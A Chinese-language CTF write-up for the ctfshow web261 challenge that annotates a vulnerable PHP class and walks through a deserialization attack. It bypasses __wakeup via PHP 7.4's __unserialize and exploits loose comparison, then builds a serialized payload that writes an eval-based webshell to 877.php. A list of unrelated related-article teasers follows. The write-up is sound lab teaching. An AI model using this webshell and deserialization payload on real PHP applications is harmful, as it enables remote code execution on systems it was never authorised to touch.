ctfshow-web261

(魔术方法啥的还是自行看PHP魔术方法,这里就不单独拎出来了)

1.代码注释版

<?php highlight_file(__FILE__); // 把当前 PHP 文件源码高亮显示出来 // 纯提示用,对利用没有影响 class ctfshowvip{ public $username; public $password; public $code; // 三个 public 属性,反序列化时都可以被用户控制 public function __construct($u,$p){ $this->username=$u; $this->password=$p; } // 构造函数:正常 new 对象时才会调用 // ❗反序列化时不会调用 __construct public function __wakeup(){ // unserialize() 时【旧版序列化格式】会自动触发 if($this->username!='' || $this->password!=''){ // 只要 username 或 password 有一个不为空 die('error'); } // ❗这里是“防护逻辑” // 企图阻止反序列化时 username / password 被赋值 } public function __invoke(){ // 当对象被当成函数调用时触发 // 例如:$obj(); eval($this->code); // code 可控 = 代码执行 // ⚠️ 本题中并没有地方直接调用对象当函数 } public function __sleep(){ // serialize() 时触发 // 返回要序列化的属性(这里没 return,其实是错误写法) $this->username=''; $this->password=''; // ❗强制把 username / password 清空 // 用来“防止危险数据被序列化” } public function __unserialize($data){ // PHP 7.4+ 新增 // ❗当使用新格式反序列化时 // 会【跳过 __wakeup】,直接进入这里 $this->username=$data['username']; $this->password=$data['password']; // 直接从反序列化数据中取值 // 完全绕过 __wakeup 的检查 $this->code = $this->username.$this->password; // 把 username 和 password 拼接 // 例如: // username = "0x" // password = "36d" // code = "0x36d" } public function __destruct(){ // 脚本结束时自动调用 // 这是【最终利用点】 if($this->code==0x36d){ // ⚠️ 关键点: // $this->code 是字符串 // 0x36d 是十六进制整数 (877) // PHP 弱类型比较: // "0x36d" == 0x36d → true file_put_contents($this->username, $this->password); // 写文件: // 文件名 = username // 文件内容 = password } } } unserialize($_GET['vip']); // 把 GET 传入的 vip 参数反序列化成对象 // ❗整个攻击链的入口

(如果是按着题目顺序做下来的话这里大概基本上都能看懂是点啥,如果是跳着做的话其实不建议,还是先一步步来,因此这里就不再补基础知识了)

2.关键点

这里最重要的其实是新格式的反序列化,代码中也是详细给出了php7.4+版本会直接跳过wakeup,那么我们还是先来看如果是旧版本即不跳过wakeup是个什么情况:

不跳wakeup:

public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } }

我们要做的是写username和password然后让code拼接payload,但是这里wakeup就限制了我们写的能力:如果username或者password的值不为空,就直接die error,那为了不让这个程序die,我们只能:

$username = '' $password = ''

那么到了后面的结果就是这样的:

file_put_contents($this->username, $this->password); //usename和password进行拼接 file_put_contents('', ''); //非法路径,直接失败
能做到的:
  • 通过__wakeup():只能让 username / password 为空

  • $code == 0x36d:可以

做不到的:

写任意文件 写 webshell 控制路径和内容.

因此在这道题目中,如果采用旧版本的话,那么基本上是解不出来的。因此这里的环境为7.4.16

跳wakeup:

这样的话就简单多了,唯一要关注的点就是code那边是弱比较,0x36转为十进制为877,弱比较的话可以改成877.php写webshell,然后写个程序跑一下就行:

<?php class ctfshowvip{ public $username='877.php'; public $password='<?=eval($_POST[1])?>'; public $code; } $a=new ctfshowvip(); echo serialize($a); ?> O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:20:"<?=eval($_POST[1])?>";s:4:"code";N;}

这里注意的点是最后面那个code的N代表NULL,因为没有赋初始值,但是这里赋值跟不赋值都没有关系。因为关键是code会被重新赋值:

public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; }

然后后面就是访问877.php,但是这里的flag在根目录

或者因为是POST传参可以直接连蚁剑:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1145161.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

智能健身动作检测:手机摄像头+云端AI,私教成本降90%

智能健身动作检测&#xff1a;手机摄像头云端AI&#xff0c;私教成本降90% 引言&#xff1a;当健身教练遇上AI助手 想象一下这样的场景&#xff1a;你的会员在家做深蹲时&#xff0c;手机摄像头正在实时分析动作角度&#xff0c;AI语音及时提醒"膝盖不要超过脚尖"&…

AI异常检测避坑指南:云端GPU按需付费不浪费

AI异常检测避坑指南&#xff1a;云端GPU按需付费不浪费 引言 作为一位技术主管&#xff0c;你可能经常听到同行谈论用AI检测高级威胁的神奇效果&#xff0c;但内心又担心投入大量资源后效果不理想。这种矛盾心理非常正常 - 就像买一辆跑车前总得先试驾一样&#xff0c;AI异常…

宏智树AI:学术星辰的“智能导航仪”,解锁论文写作新次元——让科研灵感落地为学术精品,从www.hzsxueshu.com启程

在学术的浩瀚星河中&#xff0c;每一位研究者都是探索者。但面对开题报告的迷茫、文献综述的庞杂、数据处理的枯燥、查重降重的焦虑&#xff0c;以及答辩时的紧张&#xff0c;你是否曾渴望拥有一位“全能学术伙伴”&#xff1f; 宏智树AI&#xff08;官网&#xff1a;http://ww…

当学术写作遇见未来:宏智树AI如何重新定义论文创作边界

开篇&#xff1a;你的学术研究&#xff0c;需要一个智能同行者想象这样一个场景&#xff1a;凌晨三点的图书馆&#xff0c;咖啡杯散落一旁&#xff0c;屏幕上光标闪烁却难以下笔——这是许多研究者共同的深夜记忆。但今天&#xff0c;我们想邀请你进入一个完全不同的学术世界&a…

救命神器9个AI论文工具,助研究生轻松搞定论文写作!

救命神器9个AI论文工具&#xff0c;助研究生轻松搞定论文写作&#xff01; AI 工具如何成为研究生论文写作的得力助手 在如今这个信息爆炸的时代&#xff0c;研究生们面对论文写作的压力日益增大。无论是选题、资料收集、文献综述&#xff0c;还是撰写初稿和降重&#xff0c;每…

实体关系图谱构建实战:无需专业显卡,云端轻松搞定

实体关系图谱构建实战&#xff1a;无需专业显卡&#xff0c;云端轻松搞定 1. 为什么需要云端构建实体关系图谱&#xff1f; 实体关系图谱是知识图谱的核心组成部分&#xff0c;它通过结构化方式表示实体&#xff08;如人物、地点、事件&#xff09;及其相互关系。传统本地构建…

智能侦测模型服务化:FastAPI+云端GPU,1小时上线

智能侦测模型服务化&#xff1a;FastAPI云端GPU&#xff0c;1小时上线 引言&#xff1a;为什么你的AI模型需要服务化&#xff1f; 作为一名Python开发者&#xff0c;当你费尽心思训练出一个准确率不错的检测模型后&#xff0c;是否遇到过这样的困境&#xff1a;模型在本地跑得…

AI侦测模型对比:Qwen vs DeepSeek云端实测

AI侦测模型对比&#xff1a;Qwen vs DeepSeek云端实测 1. 引言&#xff1a;为什么需要云端模型对比&#xff1f; 作为一名算法工程师&#xff0c;经常会遇到这样的困境&#xff1a;手头有两个AI模型需要做POC验证&#xff0c;但本地开发机的显存根本不够同时跑两个模型。租用…

Linux 内核学习(14) --- linux x86-32 虚拟地址空间

目录x86-32 地址空间用户地址空间保留区代码段 .text初始化数据段 .data未初始化数据段 .bss堆 heap内存映射段(mmap)栈 Stack内核地址空间直接映射区 896M高端内存(HIGH_MEMORY)VMALLOC_OFFSETVMALLOC物理内存x86-32 地址空间 Linux内核一般将处理器的虚拟地址空间划分为两个…

AI侦测开箱即用镜像推荐:0配置3分钟出结果

AI侦测开箱即用镜像推荐&#xff1a;0配置3分钟出结果 引言&#xff1a;当AI作业遇到硬件瓶颈 凌晨2点的大学宿舍里&#xff0c;计算机专业的小张正盯着屏幕上卡死的Python进程发愁——他参加的AI侦测算法比赛提交截止只剩12小时&#xff0c;但主办方提供的CPU服务器跑一个测…

AI智能侦测开箱即用镜像推荐:0配置部署,1块钱起试用

AI智能侦测开箱即用镜像推荐&#xff1a;0配置部署&#xff0c;1块钱起试用 1. 为什么物业经理需要AI智能侦测&#xff1f; 作为物业经理&#xff0c;你是否经常面临这些困扰&#xff1a;小区公共区域频繁出现违规停车、垃圾乱堆、陌生人闯入等异常行为&#xff0c;但传统监控…

AI侦测模型漂移监测:云端自动化监控告警,成本仅为本地1/3

AI侦测模型漂移监测&#xff1a;云端自动化监控告警&#xff0c;成本仅为本地1/3 引言&#xff1a;为什么需要模型漂移监测&#xff1f; 想象一下&#xff0c;你训练了一个优秀的AI模型&#xff0c;上线初期表现完美。但几个月后&#xff0c;用户反馈准确率下降了——这就是典…

Linux 内核学习(15) --- linux MMU 和 分页机制

目录虚拟内存和分页机制介绍MMU 基本概念虚拟地址基本概念物理地址基本概念页表基本概念多节页表的映射过程内核空间页表虚拟内存和分页机制介绍 早期计算机系统的内存是比较小&#xff0c;不过相应的程序也是比较小的&#xff0c;这时程序可以直接加载到内存中运行&#xff0…

实时威胁检测最佳实践:低成本云端部署方案

实时威胁检测最佳实践&#xff1a;低成本云端部署方案 引言 医院作为关键基础设施&#xff0c;每天面临大量网络安全威胁。传统防火墙和杀毒软件往往只能识别已知威胁&#xff0c;对新型攻击束手无策&#xff0c;还会产生大量误报让信息科疲于应对。AI驱动的实时威胁检测系统…

AI智能体数据分析入门必看:云端GPU按需付费成主流

AI智能体数据分析入门必看&#xff1a;云端GPU按需付费成主流 1. 为什么AI智能体需要云端GPU&#xff1f; AI智能体数据分析是当前最热门的技术方向之一&#xff0c;它能让计算机像人类一样理解数据、发现规律并做出决策。但对于转行学习数据分析的新人来说&#xff0c;最大的…

5个最火AI智能体推荐:0配置开箱即用,10块钱全试遍

5个最火AI智能体推荐&#xff1a;0配置开箱即用&#xff0c;10块钱全试遍 引言 作为一名数据分析师&#xff0c;你是否经常遇到这样的困扰&#xff1a;老板突然要求评估不同AI智能体的性能表现&#xff0c;但本地环境配置复杂&#xff0c;光是搭环境就要花上大半天&#xff1…

插混电力再加码 比亚迪4款210km纯电长续航DM-i车型加推上市

2026年元旦刚过&#xff0c;比亚迪正式开启了“大电池插混”时代&#xff0c;旗下4款热销插混轿车正式加推大电池DM-i&#xff0c;CLTC纯电续航均达210km&#xff0c;综合续航超2110km。其中&#xff0c;A级插混家轿2026款秦PLUS DM-i、2026款海豹05DM-i各加推2个版本&#xff…

AI安全分析师速成:1天掌握实体行为检测,云端实验环境已备好

AI安全分析师速成&#xff1a;1天掌握实体行为检测&#xff0c;云端实验环境已备好 引言&#xff1a;当职场新人遇上AI安全项目 上周刚入职的小王遇到了典型职场危机&#xff1a;领导临时安排他负责公司新启动的AI安全项目&#xff0c;要求一周内完成实体行为检测的可行性验证…

环保AI智能体案例:低成本监测空气质量变化

环保AI智能体案例&#xff1a;低成本监测空气质量变化 引言 对于社区工作者来说&#xff0c;实时掌握当地的空气质量状况至关重要。传统的监测设备往往价格昂贵&#xff0c;动辄上万元&#xff0c;对于预算有限的社区来说难以承担。而今天我要介绍的AI智能体解决方案&#xf…

Python 类型注解Type Annotations

类型注解(Type Annotations)是 Python 3.5 引入的特性,旨在为代码添加静态类型提示,提高可读性和可维护性。它通过语法标记变量、函数参数和返回值的预期类型,但不影响运行时行为。 基本语法 变量类型注解使用冒号后跟类型: name: str = "Alice" age: int =…